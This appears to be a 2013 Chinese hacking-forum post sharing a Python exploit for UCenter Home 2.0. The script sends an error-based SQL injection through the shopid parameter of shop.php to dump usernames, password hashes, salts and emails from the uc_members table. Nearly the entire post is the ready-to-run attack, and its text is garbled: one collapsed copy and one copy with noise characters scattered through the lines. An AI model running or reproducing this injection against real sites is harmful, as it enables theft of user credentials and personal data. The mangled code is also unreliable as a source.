找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2198|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl7 a- `, R0 S- F  I) S# Q
, e' f" @+ N. ]7 m" L1 E( M

. I/ Y, X% b; h0 F8 A#!/usr/bin/env python  
. D: P; }4 D4 i$ O, X$ g$ U" R 1 y. ?) l. q3 D5 J1 \) ]2 l1 r" M
import sys  3 N+ k" |5 j2 W6 j2 `
import urllib2  6 m! J) T: B+ h8 e
import re  / m' A+ J- }" a
4 h9 v$ s- Z- o0 [7 l
def info():  
& Q0 ^, h: k2 N# v$ J. `    print 'From:http://www.exploit-db.com/exploits/14997/'
4 t" N; R8 {8 A! g    print 'http://www.hake.cc/Web_loudong/'
+ g  ~! [8 k$ R/ Q    print 'changed:qiaoy'  $ e$ v0 ?6 I4 z+ I1 y
    print 'exp:'  
' B6 M. e4 y7 [( }4 _+ }    print ' ./UCenter_Home_2.0.py site'  , Q- T8 \0 C% [/ O7 [
  s) R) u# Q6 N' X) u$ g( i& W& x
def main():  
, P( z5 y0 B4 P2 A3 p6 _' H! |    if len(sys.argv) != 2:  
0 v/ h+ A6 A- Y5 Z8 C, L4 p        info()  " X6 |% l7 _2 [1 u$ u$ }" }: l
    else:  2 w4 X; |# A, ]0 j# r- n
        site = sys.argv[1]  1 E! `* F- W+ C- B
        if site[0:7] == 'http://':  
  m$ y1 T) \6 q2 X4 S3 D, M            sitesite =site  - t, Z; i: O3 I4 q
        elif site[0:8] == 'https://':  
8 y- F# C- c& e. b  L            sitesite = site  8 }/ f, G' T6 n1 d; |0 H
        else:  
5 P4 U- ^# J: Z% ?, H+ U7 y            site = 'http://'+site  # _# {$ I8 n8 b* a" P. R5 X1 C
        try:  ( j2 e- `. Y0 k
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  4 i% @& _  ?$ D+ }
            Value = urllib2.urlopen(url).read()  
0 Z/ s. l( x( P$ j' b- U$ j1 i/ Q            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
: d' R7 {9 ?) M1 ~6 L            hacked = Msg.split(':')  
6 O8 c! Q- r* Z* L3 S  s            print 'Name:    '+hacked[1]  ( \0 N6 m/ w6 N1 Q- ~
            print 'Passwd:  '+hacked[2]  $ T0 G9 Q8 {5 R. ^7 m* f+ x" C" C
            print 'salt:    '+hacked[3]  
0 }; H* a* t8 z: M  D& N* C5 ~( g            print 'email:   '+hacked[4]  ( k% j. t  t3 r' v) k# X1 q$ N( b- w1 a
        except:  ' k. O4 O( m) Q
            print 'Sorry,I can\'t work............'  + }/ N" U7 E" w6 e8 _0 k

! w/ C1 s) F4 aif __name__ == '__main__':  
* ]& s/ p- @6 n! q4 l* Q    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表